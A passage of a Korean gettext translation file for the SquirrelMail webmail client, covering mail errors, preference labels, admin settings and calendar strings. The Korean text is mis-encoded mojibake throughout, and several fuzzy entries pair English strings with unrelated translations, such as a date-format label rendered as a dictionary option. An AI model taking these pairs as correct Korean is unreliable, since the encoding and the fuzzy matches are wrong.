msgstr "알 수 없는 ì‚¬ìš©ìž ë˜ëŠ” 비밀번호 오류"

#, fuzzy
msgid "ERROR: Could not append message to"
msgstr "오류 : 메세지를 추가할 수 없습니다"

#, fuzzy
msgid "Solution:"
msgstr "í•´ê²°:"

msgid ""
"Remove unneccessary messages from your folder and start with your Trash "
"folder."
msgstr "현재 ë©”ì¼í•¨ì—서 불필요한 메세지를 삭제하며, 휴지통ì—서 시작합니다."

msgid "(no subject)"
msgstr "(제목 ì—†ìŒ)"

msgid "Unknown Sender"
msgstr "알 수 없는 전송ìž"

#, fuzzy
msgid "Unknown response from IMAP server:"
msgstr "IMAP 서버로부터 알 수 없는 ì‘ë‹µì„ ë°›ì•˜ìŠµë‹ˆë‹¤:"

msgid "The server couldn't find the message you requested."
msgstr ""

msgid ""
"Most probably your message list was out of date and the message has been "
"moved away or deleted (perhaps by another program accessing the same "
"mailbox)."
msgstr ""

msgid "Unknown date"
msgstr "알 수 없는 ì¼ìž"

msgid "A"
msgstr "A"

#, fuzzy
msgid "Thread sorting is not supported by your IMAP server."
msgstr ""
"쓰레드 ì •ë ¬ì€ í˜„ìž¬ IMAP 서버ì—서 ì§€ì›ë˜ì§€ 않습니다.<br>ì´ ë¬¸ì œë¥¼ 시스템 관리"
"ìžì—게 문ì˜í•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

#, fuzzy
msgid "Server-side sorting is not supported by your IMAP server."
msgstr ""
"서버 ì •ë ¬ì€ í˜„ìž¬ IMAP 서버ì—서 ì§€ì›ë˜ì§€ 않습니다.<br>ì´ ë¬¸ì œë¥¼ 시스템 관리ìž"
"ì—게 문ì˜í•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

msgid "THIS FOLDER IS EMPTY"
msgstr "ì´ íŽ¸ì§€í•¨ì€ ë¹„ì–´ 있습니다."

msgid "Move Selected To"
msgstr "ì„ íƒí•œ ë©”ì¼ ì´ë™:"

msgid "Transform Selected Messages"
msgstr "메세지 표시"

msgid "Move"
msgstr "ì´ë™"

msgid "Expunge"
msgstr "비우기"

msgid "mailbox"
msgstr "ë©”ì¼ë°•스"

msgid "Read"
msgstr "ì½ìŒ"

msgid "Unread"
msgstr "ì½ì§€ 않ìŒ"

msgid "Unthread View"
msgstr "쓰레드 숨김"

msgid "Thread View"
msgstr "쓰레드 보기"

msgid "Toggle All"
msgstr "ì „ì²´ ì„ íƒ"

msgid "Unselect All"
msgstr "ì „ì²´ ì„ íƒí•´ì œ"

msgid "Select All"
msgstr "ì „ì²´ ì„ íƒ"

#, fuzzy, php-format
msgid "Viewing Messages: %s to %s (%s total)"
msgstr "메세지 보기: <B>%s</B> - <B>%s</B> (전체: %s)"

#, fuzzy, php-format
msgid "Viewing Message: %s (%s total)"
msgstr "메세지 보기: <b>1</b> (1ê°œì˜ ë©”ì„¸ì§€)"

msgid "Paginate"
msgstr "페ì´ì§€ 만들기"

msgid "Show All"
msgstr "전체 보기"

msgid "SquirrelMail could not decode the bodystructure of the message"
msgstr "SquirrelMailì´ ë©”ì„¸ì§€ì˜ ë³¸ë¬¸êµ¬ì¡°ë¥¼ 디코드할 수 없습니다."

msgid "the provided bodystructure by your imap-server"
msgstr "imap-serverì—서 ì œê³µëœ ë³¸ë¬¸êµ¬ì¡°"

msgid ""
"Body retrieval error. The reason for this is most probably that the message "
"is malformed."
msgstr ""
"본문 ì½ê¸° 오류. ì´ê²ƒì˜ ì›ì¸ì€ 대부분 메세지 형ì‹ì´ 잘못ë˜ì—ˆê¸° 때문입니다."

msgid "Command:"
msgstr "명령어:"

msgid "Response:"
msgstr "ì‘답:"

msgid "Message:"
msgstr "메세지:"

msgid "FETCH line:"
msgstr "가져온 ë¼ì¸:"

msgid "Hide Unsafe Images"
msgstr "안전하지 ì•Šì€ ê·¸ë¦¼ 숨기기"

msgid "View Unsafe Images"
msgstr "안전하지 ì•Šì€ ê·¸ë¦¼ 보기"

#, fuzzy
msgid "Download"
msgstr "다운로드"

msgid "sec_remove_eng.png"
msgstr "sec_remove_ko_KR.png"

msgid "This external link will open in a new window"
msgstr ""

#, php-format
msgid "Option Type '%s' Not Found"
msgstr "설정 í˜•ì‹ '%s'ì„(를) ì°¾ì„ ìˆ˜ 없습니다."

msgid "Current Folder"
msgstr "현재 편지함"

msgid "Compose"
msgstr "편지 쓰기"

#, php-format
msgid "Error creating directory %s."
msgstr "%s 디렉토리 ìƒì„± 오류"

msgid "Could not create hashed directory structure!"
msgstr "í•´ì‹œëœ ë””ë ‰í† ë¦¬ 만들기 오류!"

msgid "Service not available, closing channel"
msgstr "서비스가 제공ë˜ì§€ 않습니다, ì±„ë„ ë‹«ìŒ"

msgid "A password transition is needed"
msgstr "ì•”í˜¸ì „ì†¡ì´ í•„ìš”í•©ë‹ˆë‹¤."

msgid "Requested mail action not taken: mailbox unavailable"
msgstr "ìš”ì²­ëœ ë©”ì¼ ëª…ë ¹ 오류: mailbox 오류"

msgid "Requested action aborted: error in processing"
msgstr "ìš”ì²­ëœ ë©”ì¼ ëª…ë ¹ 취소: 처리 오류"

msgid "Requested action not taken: insufficient system storage"
msgstr "ìš”ì²­ëœ ë©”ì¼ ëª…ë ¹ 오류: 시스템 저장공간 부족"

msgid "Temporary authentication failure"
msgstr "ì¼ì‹œì ì¸ ì¸ì¦ 오류"

msgid "Syntax error; command not recognized"
msgstr "구문 오류; 명령어 ì‹ë³„ 오류"

msgid "Syntax error in parameters or arguments"
msgstr "구문 오류; 매개변수 오류"

msgid "Command not implemented"
msgstr "명령어 실행 오류"

msgid "Bad sequence of commands"
msgstr "ìž˜ëª»ëœ ëª…ë ¹ì–´ 순서"

msgid "Command parameter not implemented"
msgstr "명령어 매개변수 오류"

msgid "Authentication required"
msgstr "ì¸ì¦ì´ 필요합니다."

msgid "Authentication mechanism is too weak"
msgstr "ì¸ì¦ ë©”ì»¤ë‹ˆì¦˜ì´ ë„ˆë¬´ 취약합니다."

msgid "Authentication failed"
msgstr "ì¸ì¦ 실패 "

msgid "Encryption required for requested authentication mechanism"
msgstr "ìš”ì²­ëœ ì¸ì¦ ë©”ì»¤ë‹ˆì¦˜ì— ì•”í˜¸í™”ë¥¼ 필요로 합니다."

msgid "Requested action not taken: mailbox unavailable"
msgstr "요청 명령 오류: mailbox 오류"

msgid "User not local; please try forwarding"
msgstr "내부사용ìžê°€ 아님; í¬ì›Œë”©ì„ 하십시요"

msgid "Requested mail action aborted: exceeding storage allocation"
msgstr "요청 ë©”ì¼ ëª…ë ¹ 취소; í• ë‹¹ëœ ì €ìž¥ê³µê°„ 초과"

msgid "Requested action not taken: mailbox name not allowed"
msgstr "요청 ë©”ì¼ ëª…ë ¹ 오류: mailbox ì´ë¦„ 오류"

msgid "Transaction failed"
msgstr "트랜잭션 실패 "

msgid "Unknown response"
msgstr "알 수 없는 ì‘답"

msgid "General Display Options"
msgstr "ì¼ë°˜ì ì¸ 화면 설정"

msgid "Theme"
msgstr "테마"

msgid "Default"
msgstr "기본 값 사용"

msgid "Custom Stylesheet"
msgstr "ì‚¬ìš©ìž ìŠ¤íƒ€ì¼ì‹œíЏ"

msgid "Language"
msgstr "언어"

msgid "Use Javascript"
msgstr "ìžë°”스í¬ë¦½íЏ"

msgid "Autodetect"
msgstr "ìžë™ì„¤ì •"

msgid "Always"
msgstr "í•­ìƒ"

msgid "Never"
msgstr "사용하지 않ìŒ"

msgid "Mailbox Display Options"
msgstr "편지함 보기 설정"

#, fuzzy
msgid "Number of Messages per Page"
msgstr "기본 메세지 갯수"

msgid "Enable Alternating Row Colors"
msgstr "열별로 다른 ìƒ‰ìƒ ì‚¬ìš©í•˜ê¸°?"

msgid "Enable Page Selector"
msgstr "페ì´ì§€ 기능 사용"

msgid "Maximum Number of Pages to Show"
msgstr "페ì´ì§€ 최대 갯수"

msgid "Always Show Full Date"
msgstr ""

msgid "Message Display and Composition"
msgstr "메세지 보기 ë° ìž‘ì„±"

msgid "Wrap Incoming Text At"
msgstr "ìžë™ 줄 바꿈"

#, fuzzy
msgid "Width of Editor Window"
msgstr "편집창 í¬ê¸°"

#, fuzzy
msgid "Height of Editor Window"
msgstr "편집창 í¬ê¸°"

msgid "Location of Buttons when Composing"
msgstr "편지쓰기 ë²„íŠ¼ì˜ ìœ„ì¹˜"

msgid "Before headers"
msgstr "í—¤ë” ì•žì—서 사용"

msgid "Between headers and message body"
msgstr "í—¤ë”와 메세지 본문사ì´"

msgid "After message body"
msgstr "메세지 본문뒤ì—서 사용"

msgid "Addressbook Display Format"
msgstr "ì£¼ì†Œë¡ ì¶œë ¥í˜•ì‹"

msgid "Javascript"
msgstr "ìžë°”스í¬ë¦½íЏ"

msgid "HTML"
msgstr "HTML"

msgid "Show HTML Version by Default"
msgstr "기본으로 HTML로 보기"

msgid "Enable Forward as Attachment"
msgstr "첨부파ì¼ë¡œ 전달 사용"

msgid "Include CCs when Forwarding Messages"
msgstr "메세지 전달시 참조 í¬í•¨"

msgid "Include Me in CC when I Reply All"
msgstr "ì „ì²´ 회신시 ì°¸ì¡°ì— ìžê¸°ìžì‹  í¬í•¨"

msgid "Enable Mailer Display"
msgstr "ë©”ì¼ëŸ¬ 보기 설정"

msgid "Display Attached Images with Message"
msgstr "ì²¨ë¶€ëœ ì´ë¯¸ì§€ 보기"

msgid "Enable Printer Friendly Clean Display"
msgstr "ì¸ì‡„ìš© 화면 설정"

msgid "Enable Mail Delivery Notification"
msgstr "ë©”ì¼ ë°°ë‹¬ 알림 사용"

msgid "Compose Messages in New Window"
msgstr "새로운 ì°½ì—서 편지 작성"

msgid "Width of Compose Window"
msgstr "편지쓰기 ì°½ì˜ í­"

msgid "Height of Compose Window"
msgstr "편지쓰기 ì°½ì˜ ë†’ì´"

msgid "Append Signature before Reply/Forward Text"
msgstr "회신/전달 í…ìŠ¤íŠ¸ì— ì„œëª… 추가"

msgid "Prefix for Original Message when Replying"
msgstr ""

msgid "Cursor Position when Replying"
msgstr ""

msgid "To: field"
msgstr ""

msgid "Focus in body"
msgstr ""

#, fuzzy
msgid "Select body"
msgstr "편지함 ì„ íƒ"

#, fuzzy
msgid "No focus"
msgstr "시계 사용안함"

#, fuzzy
msgid "Sort by Received Date"
msgstr "수신 ì¼ìžë³„ ì •ë ¬ 사용"

msgid "Enable Thread Sort by References Header"
msgstr "참조 í—¤ë”별 쓰레드 ì •ë ¬ 사용"

msgid "Special Folder Options"
msgstr "특별한 편지함 설정"

msgid "Folder Path"
msgstr "편지함 경로"

msgid "Do not use Trash"
msgstr "사용하지 않습니다."

msgid "Trash Folder"
msgstr "휴지통"

msgid "Do not use Drafts"
msgstr "사용하지 않습니다."

msgid "Draft Folder"
msgstr "임시 보관함"

msgid "Do not use Sent"
msgstr "사용하지 않습니다."

msgid "Sent Folder"
msgstr "보낸 편지함"

msgid "Folder List Options"
msgstr "편지함 ëª©ë¡ ì„¤ì •"

msgid "Location of Folder List"
msgstr "편지함 목ë¡ì˜ 위치"

msgid "Left"
msgstr "왼쪽"

msgid "Right"
msgstr "오른쪽"

msgid "pixels"
msgstr "픽셀"

msgid "Width of Folder List"
msgstr "편지함 목ë¡ì˜ í­"

msgid "Minutes"
msgstr "ë¶„"

msgid "Seconds"
msgstr "ì´ˆ"

msgid "Minute"
msgstr "ë¶„"

msgid "Auto Refresh Folder List"
msgstr "íŽ¸ì§€í•¨ëª©ë¡ ìžë™ê°±ì‹  시간"

msgid "Enable Unread Message Notification"
msgstr "ì½ì§€ì•Šì€ 메세지 알림"

msgid "No Notification"
msgstr "사용 안함"

msgid "Only INBOX"
msgstr "ë°›ì€ íŽ¸ì§€í•¨ë§Œ 사용"

msgid "Unread Message Notification Type"
msgstr "ì½ì§€ì•Šì€ 메세지 알림 방법"

msgid "Only Unseen"
msgstr "ì½ì§€ì•Šì€ 메세지만"

msgid "Unseen and Total"
msgstr "ì½ì§€ì•Šì€ 메세지와 전체메세지"

msgid "Enable Collapsable Folders"
msgstr "íŽ¸ì§€í•¨ì„ íŠ¸ë¦¬êµ¬ì¡°ë¡œ 사용"

msgid "Enable Cumulative Unread Message Notification"
msgstr "ì½ì§€ ì•ŠìŒ ë©”ì¼ ë¬¶ìŒ í†µì§€ 사용"

msgid "Show Clock on Folders Panel"
msgstr "편지함 패ë„ì˜ ì‹œê°„ 형ì‹"

#, fuzzy
msgid "International date and time"
msgstr "국제 사전 추가"

msgid "American date and time"
msgstr ""

#, fuzzy
msgid "European date and time"
msgstr "유럽 스페ì¸ì–´"

msgid "Show weekday and time"
msgstr ""

msgid "Show time with seconds"
msgstr ""

#, fuzzy
msgid "Show time"
msgstr "시작 시간:"

msgid "No Clock"
msgstr "시계 사용안함"

msgid "Hour Format"
msgstr "시간 구분"

msgid "12-hour clock"
msgstr "12시간"

msgid "24-hour clock"
msgstr "24시간"

msgid "Memory Search"
msgstr "메모리 찾기"

msgid "Disabled"
msgstr "사용하지 않ìŒ"

msgid "Folder Selection Options"
msgstr "편지함 ì„ íƒ ì„¤ì •"

msgid "Selection List Style"
msgstr "ëª©ë¡ ì„ íƒ í˜•ì‹"

#, fuzzy
msgid "Long:"
msgstr "Long: "

#, fuzzy
msgid "Folder"
msgstr "편지함"

#, fuzzy
msgid "Subfolder"
msgstr "보낸 편지함 하위í´ë” 사용"

#, fuzzy
msgid "Indented:"
msgstr "Indented: "

#, fuzzy
msgid "Delimited:"
msgstr "Delimited: "

msgid "Name and Address Options"
msgstr "ì´ë¦„ ë° ì£¼ì†Œ 설정"

msgid "Email Address"
msgstr "ì „ìžë©”ì¼ ì£¼ì†Œ"

msgid "Edit Advanced Identities"
msgstr "ìƒì„¸í•œ ê°œì¸ì •ë³´ 설정"

msgid "(discards changes made on this form so far)"
msgstr "(ì´ í¼ì„ 올리시면 현재 ìž…ë ¥ ì •ë³´ê°€ ì‚­ì œë©ë‹ˆë‹¤.)"

msgid "Multiple Identities"
msgstr "다중 ì‹ë³„"

msgid "Same as server"
msgstr "서버와 ë™ì¼"

msgid "Error opening timezone config, contact administrator."
msgstr "시간대 ì„¤ì •íŒŒì¼ ì½ê¸° 오류, 관리ìžì—게 문ì˜."

msgid "Timezone Options"
msgstr "시간대 설정"

msgid "Your current timezone"
msgstr "현재 시간대"

msgid "Reply Citation Options"
msgstr "답글 ì¸ìš©ë¬¸ 형ì‹"

msgid "Reply Citation Style"
msgstr "답글 ì¸ìš©ë¬¸ 형ì‹"

msgid "No Citation"
msgstr "사용하지 않ìŒ"

#, fuzzy
msgid "AUTHOR Wrote"
msgstr "AUTHOR 답글:"

msgid "On DATE, AUTHOR Wrote"
msgstr ""

msgid "Quote Who XML"
msgstr "Who XML 구문 사용"

msgid "User-Defined"
msgstr "ì‚¬ìš©ìž ì •ì˜"

msgid "User-Defined Citation Start"
msgstr "ì‚¬ìš©ìž ì •ì˜ íšŒì‹  ì¸ìš©ë¬¸"

msgid "User-Defined Citation End"
msgstr "ì‚¬ìš©ìž ì •ì˜ íšŒì‹  ì¸ìš©ë¬¸"

msgid "Signature Options"
msgstr "서명 설정"

msgid "Use Signature"
msgstr "ì„œëª…ì„ ì‚¬ìš©í•˜ì‹œê² ìŠµë‹ˆê¹Œ?"

msgid "Prefix Signature with '-- ' Line"
msgstr " '--' 로 서명 ì ‘ë‘사 사용 ?"

msgid "Take Address"
msgstr "주소 추가"

msgid "Address Book Take:"
msgstr "ì£¼ì†Œë¡ ì¶”ê°€ë°•ìŠ¤:"

msgid "Try to verify addresses"
msgstr "주소 ê²€ì¦"

msgid "Config File Version"
msgstr "설정 íŒŒì¼ ë²„ì „"

#, fuzzy
msgid "SquirrelMail Version"
msgstr "SquirrelMail 버전"

msgid "PHP Version"
msgstr "PHP 버전"

msgid "Organization Preferences"
msgstr "부서 환경설정"

msgid "Organization Name"
msgstr "부서 ì´ë¦„"

msgid "Organization Logo"
msgstr "부서 로고"

msgid "Organization Logo Width"
msgstr "부서 로고 í­"

msgid "Organization Logo Height"
msgstr "부서 로고 높ì´"

msgid "Organization Title"
msgstr "부서 타ì´í‹€"

msgid "Signout Page"
msgstr "페ì´ì§€ 닫기"

msgid "Provider Link URI"
msgstr "ë§í¬ URI 제공ìž"

msgid "Provider Name"
msgstr "ì œê³µìž ì´ë¦„: "

msgid "Top Frame"
msgstr "ìƒìœ„ 프레임"

msgid "Server Settings"
msgstr "서버 설정"

msgid "Mail Domain"
msgstr "ë©”ì¼ ë„ë©”ì¸"

msgid "IMAP Server Address"
msgstr "IMAP 서버 주소"

msgid "IMAP Server Port"
msgstr "IMAP 서버 í¬íЏ"

msgid "IMAP Server Type"
msgstr "IMAP 서버 형ì‹"

msgid "Cyrus IMAP server"
msgstr "Cyrus IMAP 서버"

msgid "University of Washington's IMAP server"
msgstr "워싱턴 ëŒ€í•™ì˜ IMAP 서버"

msgid "Microsoft Exchange IMAP server"
msgstr "마ì´í¬ë¡œì†Œí”„트 ìµìŠ¤ì²´ì¸ì§€ IMAP 서버"

msgid "Courier IMAP server"
msgstr "Courier IMAP 서버"

msgid "Mac OS X Mailserver"
msgstr ""

#, fuzzy
msgid "hMailServer IMAP server"
msgstr "Courier IMAP 서버"

msgid "Not one of the above servers"
msgstr "서버 ì—°ê²° ì—†ìŒ"

msgid "IMAP Folder Delimiter"
msgstr "IMAP í´ë” 구분ìž"

#, fuzzy
msgid "Use &quot;detect&quot; to auto-detect."
msgstr "ìžë™ê²€ìƒ‰ì„ 위해 \"검색\"ì„ ì‚¬ìš©í•˜ì„¸ìš”"

msgid "Use TLS for IMAP Connections"
msgstr "IMAP 연결시 TLS 사용"

msgid "Requires PHP 4.3.x! Experimental."
msgstr "PHP 4.3.x í•„ìš”! 실험ì ."

msgid "IMAP Authentication Type"
msgstr "IMAP ì¸ì¦ 형태"

#, fuzzy
msgid "IMAP login"
msgstr "POP3 로그ì¸:"

msgid "Use Sendmail Binary"
msgstr "ì„¼ë“œë©”ì¼ ë°”ì´ë„ˆë¦¬ 사용"

msgid "Choose &quot;no&quot; for SMTP"
msgstr ""

msgid "Sendmail Path"
msgstr "ì„¼ë“œë©”ì¼ ê²½ë¡œ"

msgid "SMTP Server Address"
msgstr "SMTP 서버 주소"

msgid "SMTP Server Port"
msgstr "SMTP 서버 í¬íЏ"

msgid "Use TLS for SMTP Connections"
msgstr "SMTP 연결시 TLS 사용"

msgid "SMTP Authentication Type"
msgstr "SMTP ì¸ì¦ í˜•ì‹ "

msgid "No SMTP auth"
msgstr ""

msgid "Login (plain text)"
msgstr ""

msgid "POP3 Before SMTP?"
msgstr "SMTPì „ POP3?"

msgid "Invert Time"
msgstr "ì¸ë²„트 시간"

msgid "Folders Defaults"
msgstr "기본 편지함"

msgid "Default Folder Prefix"
msgstr "기본 편지함 머릿글"

msgid "Show Folder Prefix Option"
msgstr "편지함 머릿글 설정 보기"

msgid "By default, move to trash"
msgstr "기본으로, 휴지통으로 ì´ë™"

msgid "By default, move to sent"
msgstr "기본으로, 보낸편지함으로 ì´ë™"

msgid "By default, save as draft"
msgstr "기본으로, 임시편지함으로 ì´ë™"

msgid "List Special Folders First"
msgstr "특별한 편지함 ëª©ë¡ ë¨¼ì €"

msgid "Show Special Folders Color"
msgstr "특별한 편지함 ìƒ‰ìƒ ë³´ê¸°"

msgid "Auto Expunge"
msgstr "ìžë™ìœ¼ë¡œ 비우기"

msgid "Default Sub. of INBOX"
msgstr "ë°›ì€ íŽ¸ì§€í•¨ì˜ í•˜ìœ„ 편지함으로 기본설정"

msgid "Show 'Contain Sub.' Option"
msgstr "하위 편지함 보여주기 설정"

msgid "Default Unseen Notify"
msgstr "ì½ì§€ ì•Šì€ ë©”ì„¸ì§€ 통지 기본 설정"

msgid "Default Unseen Type"
msgstr "ì½ì§€ ì•Šì€ ë©”ì„¸ì§€ 기본 유형"

msgid "Auto Create Special Folders"
msgstr "특별한 편지함 ìžë™ ìƒì„±"

msgid "Auto delete folders"
msgstr "ìžë™ ì‚­ì œ 편지함"

msgid "Enable /NoSelect folder fix"
msgstr "ë©”ì¼í•¨ 수정 할성화/NoSelect"

msgid "General Options"
msgstr "ì¼ë°˜ 설정 "

msgid "Data Directory"
msgstr "ë°ì´íƒ€ 디렉토리"

msgid "Temp Directory"
msgstr "Temp 디렉토리"

msgid "Hash Level"
msgstr "해시 레벨"

msgid "Hash Disabled"
msgstr "사용하지 않ìŒ"

msgid "Moderate"
msgstr "ê´€ë¦¬ìž ìŠ¹ì¸"

msgid "Medium"
msgstr "중간"

msgid "Default Left Size"
msgstr "왼쪽 기본 í¬ê¸°"

msgid "Usernames in Lowercase"
msgstr "ì‚¬ìš©ìž ì´ë¦„ 소문ìž"

msgid "Allow use of priority"
msgstr "우선순위 사용 허가"

msgid "Hide SM attributions"
msgstr "SM ì†ì„± 숨기기"

msgid "Enable use of delivery receipts"
msgstr "배달 수신 사용"

msgid "Allow editing of identities"
msgstr "ì‹ë³„ìž íŽ¸ì§‘ 허용"

msgid "Allow editing of full name"
msgstr "ì „ì²´ ì´ë¦„ 편집 가능"

msgid "Use server-side sorting"
msgstr "서버정렬 사용"

msgid "Use server-side thread sorting"
msgstr "서버 쓰레드 정렬 사용"

msgid "Allow server charset search"
msgstr "서버 문ìžì…‹ 검색 허용"

msgid "UID support"
msgstr "UID ì§€ì›"

msgid "PHP session name"
msgstr "PHP 세션 ì´ë¦„"

msgid "Message of the Day"
msgstr "ì˜¤ëŠ˜ì˜ ë©”ì„¸ì§€"

msgid "Database"
msgstr "ë°ì´íƒ€ë² ì´ìФ"

msgid "Address book DSN"
msgstr "ì£¼ì†Œë¡ DSN"

msgid "Address book table"
msgstr "ì£¼ì†Œë¡ í…Œì´ë¸”"

msgid "Preferences DSN"
msgstr "환경설정 DSN"

msgid "Preferences table"
msgstr "환경설정 í…Œì´ë¸”"

msgid "Preferences username field"
msgstr "환경설정 ì´ë¦„ 필드"

msgid "Preferences key field"
msgstr "환경설정 키 필드"

msgid "Preferences value field"
msgstr "환경설정 값 필드"

#, fuzzy
msgid "Global address book DSN"
msgstr "ì „ì²´ 주소ë¡"

#, fuzzy
msgid "Global address book table"
msgstr "ì „ì²´ 주소ë¡"

#, fuzzy
msgid "Allow writing into global address book"
msgstr "ì „ì²´ 주소ë¡ì„ 변경할 수 없습니다."

#, fuzzy
msgid "Allow listing of global address book"
msgstr "ì „ì²´ 주소ë¡ì„ 변경할 수 없습니다."

#, fuzzy
msgid "Language settings"
msgstr "설정 변경"

msgid "Default Language"
msgstr "기본 언어"

msgid "Default Charset"
msgstr "기본 문ìžì…‹"

msgid "Enable lossy encoding"
msgstr ""

#, fuzzy
msgid "Address Books"
msgstr "주소ë¡"

#, fuzzy
msgid "Default Javascript Addressbook"
msgstr "기본 ìžë°”스í¬ë¦½íЏ 주소ë¡"

#, fuzzy
msgid "Global address book file"
msgstr "ì „ì²´ 주소ë¡"

#, fuzzy
msgid "Allow writing into global address book file"
msgstr "ì£¼ì†Œë¡ ìž‘ì„± 오류"

msgid "Themes"
msgstr "테마"

msgid "Style Sheet URL (css)"
msgstr "스타ì¼ì‹œíЏ URL (css)"

msgid "Default theme"
msgstr "기본 테마"

msgid "Use index number of theme"
msgstr "í…Œë§ˆì˜ ì¸ë±ìФ 번호 사용"

msgid "Configuration Administrator"
msgstr "ê´€ë¦¬ìž ì„¤ì •"

msgid ""
"Note: it is recommended that you configure your system using conf.pl, and "
"not this plugin. conf.pl contains additional information regarding the "
"purpose of variables and appropriate values, as well as additional "
"verification steps."
msgstr ""

msgid ""
"Run or consult conf.pl should you run into difficulty with your "
"configuration."
msgstr ""

msgid "Theme Name"
msgstr "테마 ì´ë¦„"

msgid "Theme Path"
msgstr "테마 경로"

msgid "Plugins"
msgstr "플러그ì¸"

#, php-format
msgid "Plugin directory could not be found: %s"
msgstr ""

msgid "Change Settings"
msgstr "설정 변경"

#, fuzzy
msgid "Test Configuration"
msgstr "í•™ì¸ í”Œëž˜ê·¸ 사용"

msgid "Config file can't be opened. Please check config.php."
msgstr "설정 파ì¼ì„ ì—´ 수 없습니다. config.php파ì¼ì„ 확ì¸í•˜ì„¸ìš”."

msgid "Administration"
msgstr "관리ìž"

msgid ""
"This module allows administrators to manage SquirrelMail main configuration "
"remotely."
msgstr ""
"ì´ ëª¨ë“ˆì€ ê´€ë¦¬ìžê°€ ì›ê²©ì—서 SquirrelMail 기본 ì„¤ì •ì„ ê´€ë¦¬í•  수 있ë„ë¡ í•©ë‹ˆë‹¤."

#, fuzzy
msgid "Submit a Bug Report"
msgstr "버그 전송:"

msgid ""
"Before you send your bug report, please make sure to check this checklist "
"for any common problems."
msgstr ""

#, php-format
msgid ""
"Make sure that you are running the most recent copy of %s. You are currently "
"using version %s."
msgstr ""

#, php-format
msgid ""
"Check to see if your bug is already listed in the %sBug List%s on "
"SourceForge. If it is, we already know about it and are trying to fix it."
msgstr ""

msgid ""
"Try to make sure that you can repeat it. If the bug happens sporatically, "
"try to document what you did when it happened. If it always occurs when you "
"view a specific message, keep that message around so maybe we can see it."
msgstr ""

#, php-format
msgid ""
"If there were warnings displayed above, try to resolve them yourself. Read "
"the guides in the %s directory where SquirrelMail was installed."
msgstr ""

msgid ""
"Pressing the button below will start a mail message to the developers of "
"SquirrelMail that will contain a lot of information about your system, your "
"browser, how SquirrelMail is set up, and your IMAP server. It will also "
"prompt you for information. Just fill out the sections at the top. If you "
"like, you can scroll down in the message to see what else is being sent."
msgstr ""

msgid ""
"Please make sure to fill out as much information as you possibly can to give "
"everyone a good chance of finding and removing the bug. Submitting your bug "
"like this will not have it automatically added to the bug list on "
"SourceForge, but someone who gets your message may add it for you."
msgstr ""

msgid "This bug involves"
msgstr ""

msgid "the general program"
msgstr ""

msgid "a specific plugin"
msgstr ""

#, fuzzy
msgid "Start Bug Report Form"
msgstr "버그 전송:"

msgid "Bug"
msgstr ""

msgid "Bug Reports:"
msgstr "버그 전송:"

msgid "Show button in toolbar"
msgstr "툴바ì—서 버튼 보여주기"

msgid "TODAY"
msgstr "오늘"

msgid "Go"
msgstr "ì´ë™"

#, fuzzy, php-format
msgid "Could not write calendar file %s"
msgstr "초기 환경설정 파ì¼ì„ 만들지 못했습니다!"

msgid "l, F j Y"
msgstr "Y-F-j, I"

msgid "ADD"
msgstr "추가"

msgid "EDIT"
msgstr "편집"

msgid "DEL"
msgstr "삭제"

msgid "Start time:"
msgstr "시작 시간:"

msgid "Length:"
msgstr "길ì´:"

msgid "Priority:"
msgstr "우선순위:"

msgid "Title:"
msgstr "제목"

msgid "Set Event"
msgstr "ì¼ì • 설정"

msgid "Event Has been added!"
msgstr "ì¼ì •ì´ ë“±ë¡ë˜ì—ˆìŠµë‹ˆë‹¤!"

msgid "Date:"
msgstr "ë°›ì€ë‚ ì§œ:"

msgid "Time:"
msgstr "시간:"

msgid "Day View"
msgstr "ì¼ìž 보기"

msgid "Do you really want to delete this event?"
msgstr "ì´ ì¼ì •ì„ ì‚­ì œí•˜ì‹œê² ìŠµë‹ˆê¹Œ?"

msgid "Event deleted!"
msgstr "ì¼ì •ì´ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤!"

msgid "Nothing to delete!"
msgstr "삭제할 ì¼ì •ì´ ì—†ìŠµë‹ˆë‹¤!"

msgid "Update Event"
msgstr "ì¼ì • 갱신"

msgid "Do you really want to change this event from:"
msgstr "ì´ ì¼ì •ì„ ì •ë§ë¡œ 수정하시겠습니까:"

msgid "to:"
msgstr "받는 사람:"

msgid "Event updated!"
msgstr "ì¼ì •ì´ ê°±ì‹ ë˜ì—ˆìŠµë‹ˆë‹¤!"

msgid "Month View"
msgstr "월별 보기"

msgid "0 min."
msgstr "0 ë¶„."

msgid "15 min."
msgstr "15 ë¶„."

#, fuzzy
msgid "30 min."
msgstr "0 ë¶„."

msgid "45 min."
msgstr "45 ë¶„."

msgid "1 hr."
msgstr "1 시간."

msgid "1.5 hr."
msgstr "1.5 시간"

msgid "2 hr."
msgstr "2 시간."

msgid "2.5 hr."
msgstr "2.5 시간"

msgid "3 hr."
msgstr "3 시간."

msgid "3.5 hr."
msgstr "3.5시간"

msgid "4 hr."
msgstr "4 시간"

msgid "5 hr."
msgstr "5 시간"

msgid "6 hr."
msgstr "6시간"

msgid "Calendar"
msgstr "ì¼ì •"

msgid "Delete & Prev"
msgstr "ì‚­ì œ & ì´ì „"

msgid "Delete & Next"
msgstr "ì‚­ì œ & 다ìŒ"

msgid "Move to:"
msgstr "ì´ë™ :"

msgid "Delete/Move/Next Buttons:"
msgstr "ì‚­ì œ/ì´ë™/ë‹¤ìŒ ë²„íŠ¼:"

msgid "Display at top"
msgstr "ìƒë‹¨ì— 표시"

msgid "with move option"
msgstr "ì´ë™ 버튼과 함께"

msgid "Display at bottom"
msgstr "í•˜ë‹¨ì— í‘œì‹œ"

msgid ""
"COMMERCIAL - This list contains servers that are verified spam senders. It "
"is a pretty reliable list to scan spam from."
msgstr ""
"ìƒìš© - 스팸 ë©”ì¼ ì „ì†¡ìžë¡œ 확ì¸ëœ 서버목ë¡ìž…니다. 해당 서버ì—서 온 ë©”ì¼ì— 대"
"해 스팸 검사를 실행합니다."

#, fuzzy
msgid ""
"COMMERCIAL - Servers that are configured (or misconfigured) to allow spam to "
"be relayed through their system will be banned with this. Another good one "
"to use."
msgstr ""
"ìƒìš© - 스팸으로 설정ëœ(잘못 설정ëœ) 서버는 ê·¸ë“¤ì˜ ì‹œìŠ¤í…œì—서 ë©”ì¼ì¤‘계를 허용"
"하는 것으로 ì´ ì„œë²„ë“¤ì˜ ë©”ì¼ì€ 수신금지합니다."

#, fuzzy
msgid ""
"COMMERCIAL - Dial-up users are often filtered out since they should use "
"their ISP's mail servers to send mail. Spammers typically get a dial-up "
"account and send spam directly from there."
msgstr ""
